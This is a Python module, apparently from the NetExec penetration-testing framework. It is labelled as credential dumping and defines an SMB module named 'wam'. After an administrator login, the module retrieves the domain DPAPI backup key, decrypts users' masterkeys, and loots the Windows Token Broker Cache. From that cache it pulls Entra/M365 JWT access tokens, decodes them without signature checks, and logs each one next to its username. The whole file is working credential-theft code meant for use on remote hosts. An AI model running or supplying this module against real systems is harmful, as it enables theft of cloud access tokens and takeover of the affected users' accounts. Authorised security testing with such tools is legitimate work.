mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Alexander Neff
68 lines
2.9 KiB
Python
68 lines
2.9 KiB
Python
import re
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import jwt
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from dploot.triage.wam import WamTriage
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from dploot.lib.target import Target
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from nxc.helpers.logger import highlight
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from nxc.helpers.misc import CATEGORY
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from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
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class NXCModule:
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name = "wam"
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description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
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supported_protocols = ["smb"]
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category = CATEGORY.CREDENTIAL_DUMPING
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def options(self, context, module_options):
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"""No options available"""
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def on_admin_login(self, context, connection):
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username = connection.username
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password = getattr(connection, "password", "")
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nthash = getattr(connection, "nthash", "")
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self.pvkbytes = get_domain_backup_key(connection)
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target = Target.create(
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domain=connection.domain,
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username=username,
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password=password,
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target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
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lmhash=getattr(connection, "lmhash", ""),
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nthash=nthash,
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do_kerberos=connection.kerberos,
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aesKey=connection.aesKey,
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no_pass=True,
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use_kcache=getattr(connection, "use_kcache", False),
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)
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conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
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if conn is None:
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context.log.debug("Could not upgrade connection")
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return
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self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
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if len(self.masterkeys) == 0:
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context.log.fail("No masterkeys looted")
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return
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context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
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def token_callback(token):
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for attrib in token.attribs:
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if attrib["Key"].decode() == "WTRes_Token":
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# Extract every access token
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for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
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decoded_token = jwt.decode(access_token, options={"verify_signature": False})
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if "preferred_username" in decoded_token:
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# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
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context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
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try:
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triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
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triage.triage_wam()
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except Exception as e:
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context.log.debug(f"Could not loot access tokens: {e}")
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